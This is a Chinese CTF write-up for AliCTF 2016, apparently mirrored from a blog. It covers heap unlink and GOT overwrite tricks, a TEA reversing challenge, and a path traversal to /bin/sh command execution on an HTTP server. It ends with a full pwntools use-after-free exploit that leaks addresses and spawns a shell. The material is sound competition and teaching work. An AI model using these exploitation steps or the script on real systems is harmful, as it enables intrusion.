zoukankan      html  css  js  c++  java
  • AliCTF 2016

        上上周参加了阿里的CTF,靠着最后绝杀队伍有幸拿到了国内第一名,也顺利进入了XCTF Final。把自己做的几个题简单写了下,发出来也算个总结吧。

    PWN-FB

        经典的null byte overflow加上unlink,覆盖下一个堆块SIZE字段的pre_inuse字段,free时造成后向融合,unlink时可以写msg全局管理结构(设为gl)指向&gl-3。这样通过set message就可以任意地址写,此外,将free@got修改为printf@plt,这样每次free的时候都可以泄露指定地址的内容,可以任意地址泄露。这次的题用的都是同一个libc,所以也就没用dynelf来获得system地址了。

        中间有个花絮,最初能任意地址写的时候,还想用伪造字符串表,并修改.dynamic段中.strtab的地址为伪造的字符串表的地址,来获取shell。但发现.dynamic段不可写,记得上一次做一个arm下的pwn时是可以写的,在x64下竟然不可以。

    Mobile-Steady-android

    整个程序都是用c++写的,没有用到java。我也没仔细看,打开so后发现做了控制流混淆,好吧,那就直接找关键函数吧,(其实,如果程序算法很复杂同时做了控制流混淆的话,我觉得基本上没人能做出来了,所以CTF中对so做控制流混淆的一般算法都不难)。

    直接看到了一个flg(int, char*)的函数,进去一看,根据int的值,生成长度为12的字符串,大概就知道什么意思了,如果int值对的话,那个字符串数组就是flag了。好,直接把flg函数复制出来,并进行修改。对int设置了范围进行循环爆破,并要求求出的字符串数组在0-9a-zA-Z中,长度为12,爆出了30多个满足的字符串,我试了第4个还是第5个的时候就正确了,不得不说这是投机取巧了。

    RE-DEBUG

        是一个windows的程序,父进程会调试子进程,子进程在执行的时候会遇到非法指令,这个时候父进程会对子进程的指令和数据进行处理,并让子进程继续运行。处理分别是异或0x7f和异或0x31。

    子进程会要求用户输入,经过128轮TEA加密算法,然后再处理,并将结果与指定数据进行比较,如果相等的话,就会输出Good!。

    TEA的密钥是父进程在子进程执行过程出异常时进行的修改,四个key分别是0x112233,0x44556677,0x8899aabb,0xccddeeff。TEA是对称加密算法,下一步就是找一个tea的程序开始解密就好,刚开始傻傻地去github上找,发现都不好用,后来在博客园找到了一个。有个坑点就是,网上的代码大部分都是32轮的,如果直接修改为128轮的话,会有问题,有个小地方需要注意下,这里就不说了。Flag就是:c6bf3d7cdad82ea712cea62cccbafddf

    RE-Httpd

        这个题只给了一个地址和端口。请求过去,发现总是返回一个特定的阿里巴巴的页面。很早以前接触过文件包含,我就尝试着去试了下,真的可以!!如下图:

        但是我尝试直接包含flag,发现并没有成功,这样的话,应该是flag被藏起来了。

        下一步,继续通过文件包含把/home/httpd/httpd给读了出来,这样的话就有二进制文件了。接下来就是对二进制文件进行分析。分析后,如果是post请求过去,服务器会进行特殊的处理,如果POST /../../../../../../../../../bin/sh的话,服务器会启动执行/bin/sh,并把post过去的数据当作命令执行,并返回结果。这样的话,就可以任意指令执行了。这些都是本地调试后发现的。

        定位flag文件位置的过程也挺有趣的,

    flag藏在/home/httpd/httpd/ALICTF{you_know_flag_huh?}/ _______________/flag下,怪不得直接文件包含不到。

    Routers

        是一个UAF的洞,通过泄露虚表地址泄露主程序模块,通过泄露top_chunk的值获得堆的地址,通过magic gadget获得shell,有时候magic gadget还是很好用的。

    from pwn import *
    #context.log_level='debug'
    #by wah
    r = remote('127.0.0.1',10001)
    exe = 'routers'
    def getpid():
        pid= pwnlib.util.proc.pidof(exe)
        print pid
        raw_input('go!')
    def new_router(r,name='111'):
        r.recvuntil('> ')
        r.sendline('create router')
        r.recvuntil('(tplink/hiwifi/cisco): ')
        r.sendline('cisco')
        r.recvuntil('router name: ')
        r.sendline(name)
    def new_terminal(r,tname='111',rname='222'):
        r.recvuntil('> ')
        r.sendline('create terminal')
        r.recvuntil('you want to attach: ')
        r.sendline(rname)
        r.recvuntil('(windows/linux/osx): ')
        r.sendline('linux')
        r.recvuntil('terminal name: ')
        r.sendline(tname)
    def connect(r,r1,r2):
        r.recvuntil('> ')
        r.sendline('connect')
        r.recvuntil('you want to be client: ')
        r.sendline(r1)
        r.recvuntil('you want to be server: ')
        r.sendline(r2)
    def disconnect(r,r1):
        r.recvuntil('> ')
        r.sendline('disconnect')
        r.recvuntil('you want to disconnect: ')
        r.sendline(r1)
    def del_router(r,r1):
        r.recvuntil('> ')
        r.sendline('delete router')
        r.recvuntil('you want to delete: ')
        r.sendline(r1)
    def getexebase(r):
        r.recvuntil('> ')
        r.sendline('show')
        r.recvuntil("I'm connected to ")
        data = r.recvuntil('x0a')[:-1]
        data = data + (8-len(data))*'x00' 
        exebase = u64(data) - 0x204B30
        print hex(exebase)
        return exebase
    def show(r):
        r.recvuntil('> ')
        r.sendline('show')
    def leak(addr):
        global r
        name = 'a'*8 + p64(addr) + 'a'*16
        new_router(r,name)
        show(r)
        r.recvuntil("I'm connected to ")
        data = r.recvuntil('x0a')[:-1]
        data = data + (8-len(data))*'x00' 
        func = u64(data)
        print hex(func)
        del_router(r,name)
        return func
    
    new_router(r,'1') #router 1
    new_router(r,'2') #router 2
    new_router(r,'3') #router 3
    getpid()
    
    connect(r,'1','2')
    connect(r,'2','3')
    del_router(r,'2')
    new_terminal(r,'22','3')    
    exebase=getexebase(r)
    del_router(r,'3')
    
    setvbuf_got = 0x204EC8+exebase
    strlen_got = 0x204EF0+exebase
    
    setvbuf = leak(setvbuf_got)
    strlen = leak(strlen_got)
    main_arena = setvbuf - 0x6C0A0 + 0x3A5620
    #print hex(main_arena+89)
    top_chunk = leak(main_arena+89)
    top_chunk = top_chunk<<8
    print hex(top_chunk)
    
    vtable = top_chunk - 0xa0 + 0x18
    magic_gadget = setvbuf - 0x6C0A0 + 0x41374
    name = p64(vtable) + p64(magic_gadget)*3
    new_router(r,name)
    disconnect(r,'1')
    r.interactive()
    
    r.close()
    View Code
  • 相关阅读:
    HarmonyOS (鸿蒙操作系统)你值得拥有
    远端FTP文件与本地文件如何进行Diff
    多线程下载一个大文件的速度更快的真正原因是什么?
    一道有意思的面试题
    BootstrapVue 安装指南
    bash shell数组使用总结
    APP测试之ADB最全指南
    APP测试用例整理
    直播类音视频测试整理
    IOS手机耗电量测试
  • 原文地址:https://www.cnblogs.com/wangaohui/p/5583102.html
Copyright © 2011-2022 走看看